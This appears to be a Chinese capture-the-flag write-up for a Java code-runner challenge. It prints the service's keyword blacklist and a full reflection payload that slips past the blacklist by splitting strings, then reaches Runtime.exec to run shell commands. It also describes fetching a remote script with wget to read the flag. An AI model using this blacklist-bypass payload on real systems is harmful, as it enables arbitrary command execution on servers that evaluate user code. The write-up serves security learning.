wbex1

238次阅读
没有评论

wbex1

题干给的一个web环境打开是一个输入框,初步猜测可能是类似SSTI的模板注入,但又看到附件是jar类型,那么大概率就是jvmjail了,直接下载,把jar拖到jdgui去反编译,得到源码

wbex1

其中Main作为主入口,设定路由函数和tomcat端口,我们可以知道后端传参的地址。CodeRunner为主要功能。

直接来看源码

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.attribute.FileAttribute;
import java.util.UUID;
import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;
import java.util.stream.Collectors; //一大堆无需理会的包导入

public class CodeRunner {

    private static final String[] BLACKLIST_KEYWORDS = new String[]{
            "Runtime", "ProcessBuilder", "exec", "File", "Path", "Files",
            "Reader", "Writer", "Stream", "Socket", "URL", "URLConnection",
            "Http", "Class", "ClassLoader", "forName", "System",
            "ScriptEngine", "javax.script", "command", "new", "inheritIO", "String"
    };  //这里限制了黑名单,对后面构造payload有影响

    private static final Pattern BLACKLIST_PATTERN;

    private static String getOutput(InputStream stream) throws IOException {
        BufferedReader reader = new BufferedReader(new InputStreamReader(stream));
        try {
            return reader.lines().collect(Collectors.joining("\n"));
        } finally {
            reader.close();
        }
    }  //读取输入

    public static String compileAndRun(String comeIn) {
        try {
            if (BLACKLIST_PATTERN.matcher(comeIn).matches()) {
                return "what do you want to do?";
            }  //黑名单判断

            Path tempDir = Files.createTempDirectory(
                    "user_code_" + UUID.randomUUID(),
                    new FileAttribute<?>[0]
            );
            Path sourceFile = tempDir.resolve("DynamicCode.java");  //创建待编译源码

            String sourceCode =  //源码内容如下
                "import java.util.*;\n" +
                "import java.io.*;\n" +
                "import java.lang.reflect.*;\n" +  //注意这里 大概率是暗示我们要用到反射
                "\n" +
                "class Environment {\n" +
                "    private static final Object[] context = {\n" +
                "        \"AppVersion: 1.0\",\n" +
                "        new java.util.Random(),\n" +
                "        new ProcessBuilder(),\n" +  //←重点!!! 这个内置的ProcessBuilder非常危险且重要
                "        \"AppId: 55201141\",\n" +
                "        \"AppSecret: vidar{fake_f4k3_F1Ag}\",\n" +  //假的flag无需理会
                "    };\n" +
                "\n" +
                "    public static Object getContext(int index) {\n" +
                "        return context[index];\n" +
                "    }\n" +
                "}\n" +
                "\n" +
                "public class DynamicCode {\n" +
                "    public static void main(String[] args) throws Exception {\n" +
                "        Object result = " + comeIn + ";\n" +
                "        if (result instanceof Number) {\n" +
                "            System.out.println(result);\n" +
                "        } else if (result != null) {\n" +
                "            System.out.println(\"success\");\n" +  //注意这里,说明输出的时候只会输出数字
                "        } else {\n" +								//如果输出结果是非数字会直接success
                "            System.out.println(\"\");\n" +
                "        }\n" +
                "    }\n" +
                "}";

            Files.writeString(sourceFile, sourceCode);

            // compile user code
            ProcessBuilder compileB = new ProcessBuilder("javac", sourceFile.toString());
            Process compilePr = compileB.start();
            if (!compilePr.waitFor(5L, TimeUnit.SECONDS)) {
                compilePr.destroyForcibly();
                return "compile time out";  //编译源码 限时五秒钟
            }

            String comError = getOutput(compilePr.getErrorStream());
            if (!comError.isEmpty()) {
                return "compile error:\n" + comError;  //输出编译报错信息
            }

            // run compiled code
            ProcessBuilder runB = new ProcessBuilder(
                    "java", "-cp", tempDir.toString(), "DynamicCode"  //通过ProcessBuilder创建新线程运行源码
            );
            Process runPr = runB.start();
            if (!runPr.waitFor(5L, TimeUnit.SECONDS)) {
                runPr.destroyForcibly();
                return "time out";
            }

            String errorOut = getOutput(runPr.getErrorStream());
            if (!errorOut.isEmpty()) {
                return "run error:\n" + errorOut;
            }

            return "Execution Successful:\n" + getOutput(runPr.getInputStream());

        } catch (Exception e) {
            return "server error: " + e;
        }
    }

    static {
        String patternString = ".*\\b(" + String.join("|", BLACKLIST_KEYWORDS) + ")\\b.*";
        BLACKLIST_PATTERN = Pattern.compile(patternString);  //!!!注意这里对匹配规则 是逐单词匹配
    }
}

根据上述源码分析,大概率是要我们利用java的反射来构造payload了,已知这些不能用:

"Runtime", "ProcessBuilder", "exec", "File", "Path", "Files", "Reader", "Writer", "Stream", "Socket", "URL", "URLConnection", "Http", "Class", "ClassLoader", "forName", "System", "ScriptEngine", "javax.script", "command", "new", "inheritIO", "String"

但是存在一个new ProcessBuilder(),并且放在Environment.getContext(2)的位置。

常规情况下构造payload:

Runtime.getRuntime().exec("command");
//Runtime.getRuntime().exec()是Java中用于启动外部程序或执行系统命令的方法。
//这个方法通过创建一个子进程来执行指定的命令,并返回一个Process&]对象该对象可以用来控制子进程或获取子进程的信息。
//这个功能在Windows中类似于“运行”命令。

但是很明显在这里Runtime,exec在黑名单里面,我们必须要利用反射调用获取Runtime,以及执行exec方法

1.获取类 这里我们通常会用到 Class.forName 来动态调用类
理解Class对象和Class.forName
每个Java类都有一个与之关联的Class对象,它包含了该类的元信息,如类的成员、方法等。当编译一个Java类时,会生成一个Class对象,并将其保存在一个与类同名的.class文件中。这个Class对象是由Java虚拟机在加载类时自动构造的,因为Class类没有公共构造方法,所以不能显式创建Class对象。
Class.forName方法接受一个字符串参数,该字符串表示类的全限定名。当调用此方法时,Java虚拟机会查找并加载指定的类。如果类中包含静态代码块,那么这些代码也会被执行。这是因为静态代码块是在类加载时执行的。
2.获取方法 在这里通常用到 .getMethod(String 方法名, Class<?>… 参数类型)
3.调用方法 .invoke(null)

payload构建

1. 尝试绕过Runtime类

鉴于之前的Runtime、Class都在黑名单里面,因此我们使用Class.forName的绕过方法并不可行,可以尝试:

java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime")

这里使用了当前线程的上下文类加载器,其中 .loadClass() 方法让你用字符串名字动态加载类,而不是写字面 Runtime。
这里用到了字符串拼接的方法绕过黑名单检查

每个 Java 线程都有一个属性叫 contextClassLoader​,类型是 ClassLoader
你能通过:

Thread.currentThread().getContextClassLoader()

获取到这个类加载器。因此我们可以用这个来加载类,并获取到一个Runtime对象

2.尝试调用getRuntime方法

直接getRuntime肯定会触发黑名单拦截,因此也需要绕过。这里我们使用getMethod方法

java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime")
.getMethod("getRun"+"time")  //同样的字符串绕过

3.尝试调用 getRuntime() 获取实例

java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime")
.getMethod("getRun"+"time")
.invoke(null)

invoke() 用来实际执行方法。
如果方法是静态的,第一个参数(执行目标对象)可以是 null。
在这里返回的是 java.lang.Runtime 对象的实例。

4.尝试获取exec方法

exec是一种实例方法,调用时要先获取到他的类,在调用方法

java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime")
.getMethod("getRun"+"time")
.invoke(null)
.getClass()  //获取类
.getMethod("ex" + "ec",
    java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.St" + "ring")  //获取String类
)  //获取方法

这里的java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.St" + "ring")

这里我当时有个疑惑,为什么在这里的的getMethod(“exe”+"c")后面多了一串类,原因我这里直接般GPT了

非常好的问题 👏,
你抓到 Java 反射调用里最容易让初学者疑惑的一个细节——为什么有的方法需要传递参数类型数组(如exec(String)),而有的则不用(如getRuntime())?

我们一步步解释。

🧩 一、反射方法回顾

在 Java 反射中,你调用某个类的 getMethod() 有两种常见形式:

// ① 无参数方法
Class<?> clazz = SomeClass.class;
Method m = clazz.getMethod("methodName");  

// ② 带参数方法
Method m = clazz.getMethod("methodName", 参数类型1, 参数类型2, ...);

即:

  • getMethod(String name, Class<?>... parameterTypes)
  • 第一个是方法名,后面是方法的参数类型列表。

🧩 二、为何 getRuntime() 不需要第二个参数?

因为 Runtime.getRuntime() 的签名是:

public static Runtime getRuntime()

也就是说,它 不接受任何参数

那反射调用时我们只需要告诉反射引擎“我想要这个完全不带参数的方法”,自然就写成:

getMethod("getRuntime")

✔ 没有参数类型;因为它本身就是 无参 的。


🧩 三、而 exec() 就不同了

exec()​ 在 Runtime 类中有多个重载版本:

public Process exec(String command)
public Process exec(String[] cmdArray)
public Process exec(String command, String[] envp)
public Process exec(String[] cmdArray, String[] envp)
public Process exec(String command, String[] envp, File dir)
...

也就是说,exec()​ 不是“唯一”的方法名;
它有重载,因此你必须告诉 Java 反射系统:

我要的是哪一个 exec() (参数类型是什么?)


🔍 四、在反射中“唯一确定一个重载方法”

当存在方法重载时,getMethod()​ 第二个参数就用来指定参数类型匹配

// exec(String)
clazz.getMethod("exec", String.class)

如果方法不带参数(如 getRuntime),那自然就不需要传。


⚙️ 五、那为什么我们没法直接写 String.class ?

因为你的题目中 "String" 被列入黑名单:

"Runtime", "exec", "File", ..., "String"

只要代码里出现了完整单词 String ,就被阻拦。

所以在这步才要靠:

Thread.currentThread().getContextClassLoader().loadClass("java.lang.St"+"ring")

这样做是等价的:

  • 编译层面未出现 String.class 字样;
  • 运行时仍然返回了那个 Class 对象。

✅ 六、总结成一句话
方法名 方法签名 是否传参数类型
getRuntime() Runtime getRuntime() ❌ 无参,不需要
exec() Process exec(String command) ✅ 需要指定参数类型,否则反射不知道选哪一个重载

🌱 补充:当有参数时的完整反射调用流程
Class<?> runtimeCls = Thread.currentThread().getContextClassLoader()
                             .loadClass("java.lang.Runtime");

// 无参数方法
Method m1 = runtimeCls.getMethod("getRunt" + "ime");

// 带参数重载方法
Class<?> stringCls = Thread.currentThread().getContextClassLoader()
                           .loadClass("java.lang.St" + "ring");
Method m2 = runtimeCls.getMethod("ex" + "ec", stringCls);

因此:

你上一步没传参数类型数组,是因为 getRuntime()​ 本来就不带参数
而 exec()​ 有参数,并且还存在多个重载——所以需要精确指定参数类型。

5.尝试调用exec并执行命令

java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime")
.getMethod("getRun"+"time")
.invoke(null)
.getClass() 
.getMethod("ex" + "ec",
    java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.St" + "ring")
)
.invoke(  //注意这里
    java.lang.Thread.currentThread()
        .getContextClassLoader()
        .loadClass("java.lang.Runt" + "ime")
        .getMethod("getRunt" + "ime")
        .invoke(null),  //返回一个Runtime对象
    "bash fuck.sh"
)

为什么在这里的invoke里面不是直接的"bash fuck.sh"?

因为在这里的exec是一个实例方法,而不是静态方法,在invoke的时候必须注明对象
Method.invoke(Object obj, Object… args)是正确的使用方法

最后完整的payload:

((java.lang.Process)java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime").getMethod("getRunt" + "ime").invoke(null).getClass().getMethod("ex" + "ec", java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.St" + "ring")).invoke(java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime").getMethod("getRunt" + "ime").invoke(null), "bash getflag.sh"))

这样就构造完了payload,可以用这个来执行任意命令,但是我尝试使用echo等写入touch创建好的sh脚本发现没有办法写入?
可能是权限不够,不过还好这题可以出网,我们使用wget命令从其他服务器下载我们的sh脚本,在sh脚本里面把命令执行的结果输出到指定文件

#get ls -la
ls -la / > file_list.txt

#get flag
cat /flag.txt flag.txt

保存在服务器上wget远程下载执行即可 访问靶机指定文件就可以拿到flag

其实也可以用supershell等工具来完成flag获取 可能更快捷

注:我发现到最后其实也没有用到new ProcessBuilder 可能还需要去找找更多解法

wbex1

绕过黑名单检查

{
    "expression": "java.lang.reflect.Array.newInstance(Environment.getContext(0).getClass(), 0).getClass()"
}  获得String

绕过String

{
    "expression": "Environment.getContext(2).getClass().getMethod(\"com\"+\"mand\", java.lang.reflect.Array.newInstance(Environment.getContext(0).getClass(), 0).getClass()) != null"
} 确认存在command方法 并且绕过了 String

((java.lang.Process)java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime").getMethod("getRunt" + "ime").invoke(null).getClass().getMethod("ex" + "ec", java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.St" + "ring")).invoke(java.lang.Thread.currentThread().getContextClassLoader().loadClass("java.lang.Runt" + "ime").getMethod("getRunt" + "ime").invoke(null), "mkdir 123"))

成功的创建了一个文件夹

正文完
 0
评论(没有评论)